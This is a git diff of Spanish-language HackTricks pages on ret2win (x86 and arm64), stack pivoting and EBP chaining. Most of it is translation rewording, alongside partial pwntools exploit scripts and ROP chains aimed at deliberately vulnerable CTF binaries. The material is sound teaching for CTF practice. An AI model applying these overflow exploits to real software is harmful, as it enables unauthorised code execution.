@@ -43,15 +44,15 @@ Para compilar este programa sin protecciones de pila y con **ASLR** deshabilitad
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
-* `-m32`: Compila el programa como un binario de 32 bits (esto es opcional pero común en desafíos de CTF).
-* `-fno-stack-protector`: Deshabilita las protecciones contra desbordamientos de pila.
+* `-m32`: Compila el programa como un binario de 32 bits (esto es opcional pero común en desafíos CTF).
+* `-fno-stack-protector`: Desactiva las protecciones contra desbordamientos de pila.
* `-z execstack`: Permite la ejecución de código en la pila.
-* `-no-pie`: Deshabilita el Ejecutable de Posición Independiente para asegurar que la dirección de la función `win` no cambie.
-* `-o vulnerable`: Nombre el archivo de salida como `vulnerable`.
+* `-no-pie`: Desactiva el ejecutable independiente de la posición para asegurar que la dirección de la función `win` no cambie.
+* `-o vulnerable`: Nombra el archivo de salida `vulnerable`.
-### Exploit en Python usando Pwntools
+### Python Exploit usando Pwntools
-Para el exploit, utilizaremos **pwntools**, un potente marco de trabajo de CTF para escribir exploits. El script de exploit creará un payload para desbordar el búfer y sobrescribir la dirección de retorno con la dirección de la función `win`.
+Para el exploit, utilizaremos **pwntools**, un poderoso marco CTF para escribir exploits. El script de exploit creará una carga útil para desbordar el búfer y sobrescribir la dirección de retorno con la dirección de la función `win`.
```python
from pwn import *
@@ -71,18 +72,18 @@ payload = b'A' * 68 + win_addr
p.sendline(payload)
p.interactive()
```
-Para encontrar la dirección de la función `win`, puedes usar **gdb**, **objdump**, u otra herramienta que te permita inspeccionar archivos binarios. Por ejemplo, con `objdump`, podrías usar:
+Para encontrar la dirección de la función `win`, puedes usar **gdb**, **objdump** o cualquier otra herramienta que te permita inspeccionar archivos binarios. Por ejemplo, con `objdump`, podrías usar:
```sh
objdump -d vulnerable | grep win
```
-Este comando mostrará el ensamblado de la función `win`, incluyendo su dirección de inicio.
+Este comando te mostrará el ensamblaje de la función `win`, incluyendo su dirección de inicio.
-El script de Python envía un mensaje cuidadosamente elaborado que, al ser procesado por la `vulnerable_function`, desborda el búfer y sobrescribe la dirección de retorno en la pila con la dirección de `win`. Cuando `vulnerable_function` retorna, en lugar de regresar a `main` o salir, salta a `win`, y se imprime el mensaje.
+El script de Python envía un mensaje cuidadosamente elaborado que, al ser procesado por la `vulnerable_function`, desborda el búfer y sobrescribe la dirección de retorno en la pila con la dirección de `win`. Cuando `vulnerable_function` retorna, en lugar de regresar a `main` o salir, salta a `win`, y el mensaje se imprime.
## Protecciones
-* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **debe estar deshabilitado** para que la dirección sea confiable en ejecuciones sucesivas, de lo contrario la dirección donde se almacenará la función no será siempre la misma y se necesitaría alguna filtración para averiguar dónde se encuentra cargada la función `win`. En algunos casos, cuando la función que causa el desbordamiento es `read` o similar, se puede realizar un **Sobrescribir Parcial** de 1 o 2 bytes para cambiar la dirección de retorno y que apunte a la función `win`. Debido a cómo funciona ASLR, los últimos tres nibbles hexadecimales no se aleatorizan, por lo que hay una **probabilidad de 1/16** (1 nibble) de obtener la dirección de retorno correcta.
-* Los [**Canarios de Pila**](../../common-binary-protections-and-bypasses/stack-canaries/) también deben estar deshabilitados o la dirección de retorno comprometida de EIP nunca será seguida.
+* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna leak para averiguar dónde se carga la función win. En algunos casos, cuando la función que causa el desbordamiento es `read` o similar, puedes hacer un **Partial Overwrite** de 1 o 2 bytes para cambiar la dirección de retorno a la función win. Debido a cómo funciona ASLR, los últimos tres nibble hexadecimales no están aleatorizados, por lo que hay una **1/16 de probabilidad** (1 nibble) de obtener la dirección de retorno correcta.
+* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
## Otros ejemplos y Referencias
@@ -90,25 +91,25 @@ El script de Python envía un mensaje cuidadosamente elaborado que, al ser proce
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
* 32 bits, sin ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
-* 64 bits con ASLR, con una filtración de la dirección binaria
+* 64 bits con ASLR, con una leak de la dirección binaria
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
* 64 bits, sin ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
-* 32 bits, sin ASLR, doble desbordamiento pequeño, primero para desbordar la pila y aumentar el tamaño del segundo desbordamiento
+* 32 bits, sin ASLR, doble pequeño desbordamiento, primero para desbordar la pila y aumentar el tamaño del segundo desbordamiento
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
-* 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función `win` (ret2win)
+* 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la dirección `fflush` con la función win (ret2win)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
-* 32 bits, nx, nada más, sobrescribir parcialmente EIP (1 byte) para llamar a la función `win`
+* 32 bits, nx, nada más, sobrescritura parcial de EIP (1Byte) para llamar a la función win
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
-* 32 bits, nx, nada más, sobrescribir parcialmente EIP (1 byte) para llamar a la función `win`
+* 32 bits, nx, nada más, sobrescritura parcial de EIP (1Byte) para llamar a la función win
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
-* El programa solo valida el último byte de un número para verificar el tamaño de la entrada, por lo tanto es posible agregar cualquier tamaño siempre que el último byte esté dentro del rango permitido. Luego, la entrada crea un desbordamiento de búfer explotado con un ret2win.
+* El programa solo está validando el último byte de un número para verificar el tamaño de la entrada, por lo tanto, es posible agregar cualquier tamaño siempre que el último byte esté dentro del rango permitido. Luego, la entrada crea un desbordamiento de búfer explotado con un ret2win.
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
-* 64 bits, relro, sin canario, nx, pie. Sobrescribir parcialmente para llamar a la función `win` (ret2win)
+* 64 bits, relro, sin canario, nx, pie. Sobrescritura parcial para llamar a la función win (ret2win)
* [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
-* arm64, PIE, proporciona una filtración de PIE, la función `win` en realidad son 2 funciones, por lo que el gadget ROP llama a 2 funciones
+* arm64, PIE, da una leak de PIE, la función win es en realidad 2 funciones, por lo que gadget ROP que llama a 2 funciones
* [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
-* ARM64, off-by-one para llamar a una función `win`
+* ARM64, off-by-one para llamar a una función win
## Ejemplo ARM64
@@ -116,16 +117,17 @@ El script de Python envía un mensaje cuidadosamente elaborado que, al ser proce
[ret2win-arm64.md](ret2win-arm64.md)
{% endcontent-ref %}
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
index 4f15907fd..9deb85bad 100644
--- a/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
+++ b/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
@@ -1,18 +1,19 @@
# Ret2win - arm64
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta experto conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
Encuentra una introducción a arm64 en:
@@ -20,7 +21,7 @@ Encuentra una introducción a arm64 en:
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
-## Code
+## Código
```c
#include
#include
@@ -39,17 +40,17 @@ vulnerable_function();
return 0;
}
```
-Compilar sin pie y sin canary:
+Compilar sin pie y canario:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
-## Encontrando el desplazamiento
+## Encontrar el desplazamiento
-### Opción de Patrón
+### Opción de patrón
-Este ejemplo fue creado utilizando [**GEF**](https://github.com/bata24/gef):
+Este ejemplo fue creado usando [**GEF**](https://github.com/bata24/gef):
-Iniciar gdb con gef, crear un patrón y usarlo:
+Inicia gdb con gef, crea un patrón y úsalo:
```bash
gdb -q ./ret2win
pattern create 200
@@ -57,7 +58,7 @@ run
```
-En arm64 intentará regresar a la dirección en el registro x30 (que fue comprometida), podemos usar eso para encontrar el desplazamiento del patrón:
+arm64 intentará regresar a la dirección en el registro x30 (que fue comprometido), podemos usar eso para encontrar el desplazamiento del patrón:
```bash
pattern search $x30
```
@@ -91,11 +92,11 @@ Luego: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
-## Sin PIE
+## No PIE
### Regular
-Obtener la dirección de la función **`win`**:
+Obtén la dirección de la función **`win`**:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
@@ -147,7 +148,7 @@ p.close()
```
-Puedes encontrar otro ejemplo de desbordamiento por uno en ARM64 en [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), que es un desbordamiento por uno real en una vulnerabilidad ficticia.
+Puedes encontrar otro ejemplo de off-by-one en ARM64 en [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), que es un verdadero off-by-**one** en una vulnerabilidad ficticia.
## Con PIE
@@ -155,9 +156,9 @@ Puedes encontrar otro ejemplo de desbordamiento por uno en ARM64 en [https://8ks
Compila el binario **sin el argumento `-no-pie`**
{% endhint %}
-### Desbordamiento por 2
+### Off-by-2
-Sin una fuga, no conocemos la dirección exacta de la función ganadora, pero podemos conocer el desplazamiento de la función desde el binario y sabiendo que la dirección de retorno que estamos sobrescribiendo ya apunta a una dirección cercana, es posible filtrar el desplazamiento a la función de ganar (**0x7d4**) en este caso y simplemente usar ese desplazamiento:
+Sin un leak no sabemos la dirección exacta de la función ganadora, pero podemos conocer el desplazamiento de la función desde el binario y sabiendo que la dirección de retorno que estamos sobrescribiendo ya apunta a una dirección cercana, es posible obtener el desplazamiento a la función ganadora (**0x7d4**) en este caso y simplemente usar ese desplazamiento:
```python
@@ -179,16 +180,17 @@ p.send(payload)
print(p.recvline())
p.close()
```
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
index 3e3c14fbc..416f07de3 100644
--- a/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
+++ b/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
@@ -1,22 +1,23 @@
# Stack Pivoting - EBP2Ret - EBP chaining
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta experto conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
+Support HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Información Básica
-Esta técnica explota la capacidad de manipular el **Puntero Base (EBP)** para encadenar la ejecución de múltiples funciones mediante el uso cuidadoso del registro EBP y la secuencia de instrucciones **`leave; ret`**.
+Esta técnica explota la capacidad de manipular el **Base Pointer (EBP)** para encadenar la ejecución de múltiples funciones a través del uso cuidadoso del registro EBP y la secuencia de instrucciones **`leave; ret`**.
Como recordatorio, **`leave`** básicamente significa:
```
@@ -30,8 +31,8 @@ Y como el **EBP está en la pila** antes del EIP, es posible controlarlo control
Esta técnica es particularmente útil cuando puedes **alterar el registro EBP pero no tienes una forma directa de cambiar el registro EIP**. Aprovecha el comportamiento de las funciones cuando terminan de ejecutarse.
-Si, durante la ejecución de `fvuln`, logras inyectar un **EBP falso** en la pila que apunta a un área en la memoria donde se encuentra la dirección de tu shellcode (más 4 bytes para tener en cuenta la operación `pop`), puedes controlar indirectamente el EIP. Cuando `fvuln` retorna, el ESP se establece en esta ubicación manipulada, y la operación `pop` subsiguiente disminuye el ESP en 4 bytes, **haciendo que apunte efectivamente a una dirección almacenada por el atacante allí.**\
-Nota cómo **necesitas conocer 2 direcciones**: Aquella a la que irá el ESP, donde necesitarás escribir la dirección a la que apunta el ESP.
+Si, durante la ejecución de `fvuln`, logras inyectar un **EBP falso** en la pila que apunta a un área en memoria donde se encuentra la dirección de tu shellcode (más 4 bytes para tener en cuenta la operación `pop`), puedes controlar indirectamente el EIP. A medida que `fvuln` retorna, el ESP se establece en esta ubicación creada, y la siguiente operación `pop` disminuye el ESP en 4, **haciendo que apunte efectivamente a una dirección almacenada por el atacante allí.**\
+Nota cómo **necesitas conocer 2 direcciones**: La que donde va a ir el ESP, donde necesitarás escribir la dirección a la que apunta el ESP.
#### Construcción del Exploit
@@ -41,34 +42,34 @@ Luego, necesitas conocer la dirección utilizada por `ret` que **ejecutará cód
* Una dirección válida de [**ONE\_GADGET**](https://github.com/david942j/one\_gadget).
* La dirección de **`system()`** seguida de **4 bytes basura** y la dirección de `"/bin/sh"` (bits x86).
-* La dirección de un gadget de **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguido del **shellcode** a ejecutar.
-* Alguna cadena [**ROP**](../rop-return-oriented-programing/)
+* La dirección de un gadget de **`jump esp;`** ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) seguida del **shellcode** a ejecutar.
+* Alguna cadena de [**ROP**](../rop-return-oriented-programing/).
-Recuerda que antes de cualquiera de estas direcciones en la parte controlada de la memoria, debe haber **`4` bytes** debido a la parte de **`pop`** de la instrucción `leave`. Sería posible abusar de estos 4B para establecer un **segundo EBP falso** y seguir controlando la ejecución.
+Recuerda que antes de cualquiera de estas direcciones en la parte controlada de la memoria, debe haber **`4` bytes** debido a la parte de **`pop`** de la instrucción `leave`. Sería posible abusar de estos 4B para establecer un **segundo EBP falso** y continuar controlando la ejecución.
-#### Exploit de Desbordamiento por Uno
+#### Exploit Off-By-One
-Existe una variante específica de esta técnica conocida como un "Exploit de Desbordamiento por Uno". Se utiliza cuando solo puedes **modificar el byte menos significativo del EBP**. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con el **`ret`** debe compartir los tres primeros bytes con el EBP, lo que permite una manipulación similar con condiciones más restringidas.\
-Por lo general, se modifica el byte 0x00 para saltar lo más lejos posible.
+Hay una variante específica de esta técnica conocida como "Off-By-One Exploit". Se utiliza cuando solo puedes **modificar el byte menos significativo del EBP**. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con el **`ret`** debe compartir los primeros tres bytes con el EBP, permitiendo una manipulación similar con condiciones más restringidas.\
+Usualmente se modifica el byte 0x00 para saltar lo más lejos posible.
-Además, es común usar un trineo de RET en la pila y colocar la verdadera cadena ROP al final para que sea más probable que el nuevo ESP apunte dentro del RET SLED y se ejecute la cadena ROP final.
+Además, es común usar un RET sled en la pila y colocar la verdadera cadena ROP al final para hacer más probable que el nuevo ESP apunte dentro del RET SLED y se ejecute la cadena ROP final.
-### **Cadenas de EBP**
+### **Cadena EBP**
-Por lo tanto, al colocar una dirección controlada en la entrada de `EBP` de la pila y una dirección a `leave; ret` en `EIP`, es posible **mover el `ESP` a la dirección controlada de `EBP` desde la pila**.
+Por lo tanto, al poner una dirección controlada en la entrada `EBP` de la pila y una dirección para `leave; ret` en `EIP`, es posible **mover el `ESP` a la dirección `EBP` controlada desde la pila**.
-Ahora, el **`ESP`** está controlado apuntando a una dirección deseada y la siguiente instrucción a ejecutar es un `RET`. Para abusar de esto, es posible colocar en el lugar controlado del ESP lo siguiente:
+Ahora, el **`ESP`** está controlado apuntando a una dirección deseada y la siguiente instrucción a ejecutar es un `RET`. Para abusar de esto, es posible colocar en el lugar controlado del ESP esto:
-* **`&(próximo EBP falso)`** -> Carga el nuevo EBP debido a `pop ebp` de la instrucción `leave`
-* **`system()`** -> Llamado por `ret`
-* **`&(leave;ret)`** -> Llamado después de que system termine, moverá ESP al EBP falso y comenzará de nuevo
-* **`&("/bin/sh")`**-> Parámetro para `system`
+* **`&(next fake EBP)`** -> Cargar el nuevo EBP debido a `pop ebp` de la instrucción `leave`.
+* **`system()`** -> Llamado por `ret`.
+* **`&(leave;ret)`** -> Llamado después de que el sistema termina, moverá el ESP al EBP falso y comenzará de nuevo.
+* **`&("/bin/sh")`**-> Parámetro para `system`.
-Básicamente de esta manera es posible encadenar varios EBPs falsos para controlar el flujo del programa.
+Básicamente, de esta manera es posible encadenar varios EBP falsos para controlar el flujo del programa.
-Esto es como un [ret2lib](../rop-return-oriented-programing/ret2lib/), pero más complejo sin un beneficio aparente, aunque podría ser interesante en algunos casos particulares.
+Esto es como un [ret2lib](../rop-return-oriented-programing/ret2lib/), pero más complejo sin un beneficio aparente, pero podría ser interesante en algunos casos límite.
-Además, aquí tienes un [**ejemplo de un desafío**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que utiliza esta técnica con una **fuga de pila** para llamar a una función ganadora. Este es el payload final de la página:
+Además, aquí tienes un [**ejemplo de un desafío**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) que utiliza esta técnica con un **leak de pila** para llamar a una función ganadora. Este es el payload final de la página:
```python
from pwn import *
@@ -106,8 +107,8 @@ print(p.recvline())
```
## EBP podría no ser utilizado
-Como se [**explica en esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binario se compila con algunas optimizaciones, el **EBP nunca llega a controlar ESP**, por lo tanto, cualquier exploit que funcione controlando EBP básicamente fallará porque no tiene ningún efecto real.\
-Esto se debe a que el **prólogo y epílogo cambian** si el binario está optimizado.
+Como [**se explica en esta publicación**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), si un binario se compila con algunas optimizaciones, el **EBP nunca llega a controlar ESP**, por lo tanto, cualquier exploit que funcione controlando EBP básicamente fallará porque no tiene ningún efecto real.\
+Esto se debe a que los **cambios de prólogo y epílogo** si el binario está optimizado.
* **No optimizado:**
```bash
@@ -133,9 +134,9 @@ ret # return
```
## Otras formas de controlar RSP
-### **Dispositivo `pop rsp`**
+### **`pop rsp`** gadget
-[**En esta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puedes encontrar un ejemplo utilizando esta técnica. Para este desafío fue necesario llamar a una función con 2 argumentos específicos, y había un **dispositivo `pop rsp`** y hay una **filtración desde la pila**:
+[**En esta página**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) puedes encontrar un ejemplo usando esta técnica. Para este desafío era necesario llamar a una función con 2 argumentos específicos, y había un **gadget `pop rsp`** y hay una **fuga de la pila**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@@ -179,7 +180,7 @@ pause()
p.sendline(payload)
print(p.recvline())
```
-### Gadget xchg \, rsp
+### xchg \, rsp gadget
```
pop <=== return pointer
@@ -187,7 +188,7 @@ xchg , rsp
```
### jmp esp
-Verifica la técnica ret2esp aquí:
+Consulta la técnica ret2esp aquí:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
@@ -200,15 +201,15 @@ Verifica la técnica ret2esp aquí:
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
* 64 bits, explotación off by one con una cadena rop que comienza con un ret sled
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
-* 64 bits, sin relro, canary, nx y pie. El programa proporciona una fuga para la pila o pie y un WWW de una qword. Primero obtén la fuga de la pila y usa el WWW para retroceder y obtener la fuga de pie. Luego usa el WWW para crear un bucle eterno abusando de las entradas de `.fini_array` + llamando a `__libc_csu_fini` ([más información aquí](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Abusando de esta escritura "eterna", se escribe una cadena ROP en el .bss y se termina llamándola pivotando con RBP.
+* 64 bits, sin relro, canary, nx y pie. El programa otorga un leak para stack o pie y un WWW de un qword. Primero obtén el leak de stack y usa el WWW para volver y obtener el leak de pie. Luego usa el WWW para crear un bucle eterno abusando de las entradas de `.fini_array` + llamando a `__libc_csu_fini` ([más información aquí](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Abusando de esta escritura "eterna", se escribe una cadena ROP en la .bss y se termina llamándola pivotando con RBP.
## ARM64
-En ARM64, los **prólogos y epílogos** de las funciones **no almacenan y recuperan el registro SP** en la pila. Además, la instrucción **`RET`** no regresa a la dirección apuntada por SP, sino **a la dirección dentro de `x30`**.
+En ARM64, el **prologo y epílogos** de las funciones **no almacenan ni recuperan el registro SP** en la pila. Además, la instrucción **`RET`** no regresa a la dirección apuntada por SP, sino **a la dirección dentro de `x30`**.
-Por lo tanto, por defecto, simplemente abusar del epílogo **no te permitirá controlar el registro SP** al sobrescribir algunos datos dentro de la pila. E incluso si logras controlar el SP, aún necesitarías una forma de **controlar el registro `x30`**.
+Por lo tanto, por defecto, solo abusando del epílogo **no podrás controlar el registro SP** sobrescribiendo algunos datos dentro de la pila. E incluso si logras controlar el SP, aún necesitarías una forma de **controlar el registro `x30`**.
-* prólogo
+* prologo
```armasm
sub sp, sp, 16
@@ -224,7 +225,7 @@ ret
```
{% hint style="danger" %}
-La forma de realizar algo similar al pivoteo de pila en ARM64 sería poder **controlar el `SP`** (controlando algún registro cuyo valor se pasa a `SP` o porque por alguna razón `SP` está tomando su dirección desde la pila y tenemos un desbordamiento) y luego **abusar del epílogo** para cargar el registro **`x30`** desde un **`SP` controlado** y **`RET`** a él.
+La forma de realizar algo similar a stack pivoting en ARM64 sería poder **controlar el `SP`** (controlando algún registro cuyo valor se pasa a `SP` o porque por alguna razón `SP` está tomando su dirección de la pila y tenemos un desbordamiento) y luego **abusar del epílogo** para cargar el registro **`x30`** desde un **`SP` controlado** y **`RET`** a él.
{% endhint %}
También en la siguiente página puedes ver el equivalente de **Ret2esp en ARM64**:
@@ -233,16 +234,17 @@ También en la siguiente página puedes ver el equivalente de **Ret2esp en ARM64
